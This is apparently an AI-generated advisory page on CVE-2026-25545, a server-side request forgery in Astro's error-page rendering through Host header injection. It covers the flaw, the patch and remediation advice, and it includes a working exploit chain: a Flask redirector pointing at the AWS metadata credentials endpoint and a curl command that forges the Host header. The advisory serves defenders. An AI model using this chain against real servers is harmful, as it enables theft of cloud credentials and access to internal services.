CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25545
6.9

Astro-nomical Screw Up: Full-Read SSRF via Host Header Injection

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·7 min read·18 visits

PoC Available

Executive Summary (TL;DR)

Astro < 9.5.4 allows attackers to poison the `Host` header. When the server renders a custom error page (like 404.astro), it fetches the page using that poisoned host. Because the fetch follows redirects, attackers can bounce the request to internal IPs (SSRF), leaking sensitive data.

Astro, the darling framework of the static site generation world, stumbled into a classic web security pitfall: trusting the client. In versions prior to 9.5.4, Astro's Server-Side Rendering (SSR) engine blindly trusted the HTTP `Host` header when fetching custom error pages. By poisoning this header, an attacker can trick the server into fetching resources from an external domain. The kicker? The internal fetch mechanism follows redirects by default. This turns a simple error page rendering process into a proxy for accessing internal network resources, local services, or cloud metadata endpoints.

The Hook: Trusting Strangers with Candy

Modern web frameworks are marvels of engineering, abstracting away the grit of HTTP so developers can focus on building beautiful UIs. But abstraction often hides danger. Astro, known for its "zero-JavaScript-by-default" philosophy, has a robust Server-Side Rendering (SSR) mode. When things go wrong in SSR land—like a 404 Not Found or a 500 Internal Server Error—Astro tries to be helpful. It looks for a custom error page (e.g., 404.astro) to render a pretty apology to the user.

Here is where the logic gets fuzzy. To render that error page, Astro treats it almost like an external resource request. It needs a URL to fetch that page from. And where does it get the base URL for that request? From the Host header of the incoming request. If you’ve been in the security game for more than a week, your ears should be burning right now. The Host header is user-controlled input. Trusting it is like letting a stranger write their own name on the guest list at a high-security facility.

By manipulating this header, an attacker can dictate where Astro looks for its error page. Instead of looking at localhost:3000/404, it looks at attacker.com/404. If that were the end of it, we’d just have a defacement bug. But because the underlying fetch mechanism is too polite—it follows HTTP redirects—we have a recipe for disaster.

The Flaw: A comedy of Errors (and Redirects)

The vulnerability lives in packages/astro/src/core/app/base.ts. When an error occurs during SSR, the renderError() function is triggered. This function's job is to fetch the pre-rendered HTML for the error code (e.g., 500). To construct the URL for this fetch, Astro concatenates the protocol with the value of this.baseWithoutTrailingSlash. And this.baseWithoutTrailingSlash is derived directly from the request headers.

Technically, this is a blind trust in the Host header (CWE-601/CWE-113 equivalent context), culminating in SSRF (CWE-918). The code didn't validate if the Host header actually matched the server's configuration or the intended domain. It just assumed that if a request came in, the Host header must be truthful.

The critical failure, however, isn't just the header injection. It's the behavior of the HTTP client used to fetch the error page. By default, Node.js fetch implementations (and the polyfills used by Astro) follow HTTP 3xx redirects automatically. This creates a "bounce" effect. The attacker tells Astro: "Hey, get the error page from evil.com." Astro connects to evil.com. evil.com replies with "301 Moved Permanently: Go to http://169.254.169.254/latest/meta-data/." Astro, being a dutiful program, follows the redirect to the AWS metadata service, grabs the credentials, and serves them up as the "Error Page" content.

The Code: The Smoking Gun

Let's look at the logic flow. In the vulnerable versions, the internal fetch call looked something like this (simplified for clarity):

// Vulnerable Logic in base.ts
async renderError(request, error) {
  // 1. Get the origin from the (attacker-controlled) Host header
  const origin = request.headers.get('host');
  
  // 2. Construct the URL for the error page
  const errorPageUrl = `http://${origin}/500`;
 
  // 3. Fetch it (Defaults: follow redirects = true)
  const response = await fetch(errorPageUrl);
  
  // 4. Return the body to the user
  return response.text();
}

The fix in version 9.5.4 is elegant in its simplicity. It doesn't just try to sanitize the Host header (which is hard to do perfectly); it neuters the fetch mechanism itself. By setting the redirect mode to manual, the developers ensure that even if an attacker injects a malicious host, the server will refuse to follow the redirect to an internal resource.

// Patched Logic
async renderError(request, error) {
  // ... URL construction ...
 
  const response = await fetch(errorPageUrl, {
    // THE FIX: Stop following redirects automatically
    redirect: 'manual',
  });
 
  // Additional checks often added:
  // Validate protocol is http/https
  // Check allowlist of domains
}

This change effectively breaks the chain. The attacker can still point the Host header to evil.com, but when evil.com tries to redirect to localhost:6379 (Redis) or AWS metadata, Astro simply stops and says, "I'm done here."

The Exploit: Stealing Secrets via Error Pages

To exploit this, we need an Astro app running in SSR mode with a custom error page (e.g., src/pages/500.astro). If the target uses the default error page, this vector might not trigger the specific fetch logic we need. Here is the attack chain:

Step 1: The Setup We need a malicious server acting as a redirector. A simple Python Flask app works wonders here:

# attacker.py
from flask import Flask, redirect
app = Flask(__name__)
 
@app.route('/500')
def malicious_redirect():
    # Redirect the victim server to its own internal metadata service
    return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role')
 
if __name__ == '__main__':
    app.run(port=1337)

Step 2: The Trigger We send a request to the target Astro app that guarantees an error (triggering the 500 page logic) and inject our malicious host.

curl -v "http://target-astro-app.com/force-error" \
     -H "Host: attacker-server.com:1337"

Step 3: The Execution

  1. Astro receives the request.
  2. The app throws an error (maybe we hit a route that crashes or acts up).
  3. Astro catches the error and decides to render 500.astro.
  4. Astro sees Host: attacker-server.com:1337.
  5. Astro fetches http://attacker-server.com:1337/500.
  6. Our Python script replies: 302 Found -> http://169.254.169.254/....
  7. Astro follows the redirect.
  8. AWS replies with the IAM credentials.
  9. Astro serves those credentials to us as the HTML of the 500 page.

Congratulations, you just turned a website crash into a cloud compromise.

The Impact: Why You Should Panic

This isn't just about reading files. In modern cloud-native environments, an SSRF is often a "Game Over" vulnerability. The impact depends entirely on where the Astro server is sitting in your network topology.

Scenario A: Cloud Metadata If the server is on AWS, GCP, or Azure, and hasn't explicitly blocked access to the instance metadata service, an attacker can steal temporary credentials. This allows them to effectively become the server, accessing S3 buckets, databases, and other cloud resources.

Scenario B: Internal Services Is your Astro app running inside a Kubernetes cluster? Great. An attacker can use this SSRF to probe internal services that assume they are safe behind the firewall. They could hit the Kubelet API, internal admin panels, or unauthenticated Redis instances. If the response is text-based, they can read the data.

Scenario C: Localhost Even on a standalone box, attackers can probe localhost ports to identify running services, potentially chaining this with other vulnerabilities to achieve Remote Code Execution (RCE).

The Fix: Closing the Window

The immediate remediation is to upgrade to @astrojs/node version 9.5.4 or later. The patch effectively neuters the redirect behavior that makes this exploit potent.

However, relying solely on a library patch is bad opsec. You should apply Defense in Depth principles:

  1. Validate Host Headers at the Edge: Configure your reverse proxy (Nginx, Apache, Cloudflare) to strictly whitelist the Host header. If your site is example.com, the server should drop any request claiming to be for evil.com before it even reaches the Astro app.
  2. Egress Filtering: Why is your web server allowed to talk to the internet arbitrarily? Use firewall rules to block your application server from initiating outbound connections to anything other than necessary APIs.
  3. Block Metadata Access: If you are in the cloud, ensure your instance cannot reach 169.254.169.254 unless strictly necessary (and even then, require IMDSv2 which uses session tokens to mitigate SSRF).

Official Patches

AstroOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.9/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Affected Systems

Astro Web Framework@astrojs/node package (npm)Server-Side Rendering (SSR) deploymentsApplications with custom error pages (404.astro, 500.astro)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@astrojs/node
Astro
< 9.5.49.5.4
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS6.9 (Medium)
ImpactHigh Confidentiality (Internal)
Exploit StatusPoC Available
PrerequisitesSSR Enabled, Custom Error Pages

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1133External Remote Services
Persistence
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Known Exploits & Detection

Aikido SecurityOriginal disclosure and PoC methodology

Vulnerability Timeline

Vulnerability reported to Astro maintainers
2026-02-04
Fix committed (redirect: manual)
2026-02-18
GitHub Advisory Published
2026-02-23

References & Sources

  • [1]Astro Documentation
  • [2]CWE-918: SSRF

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.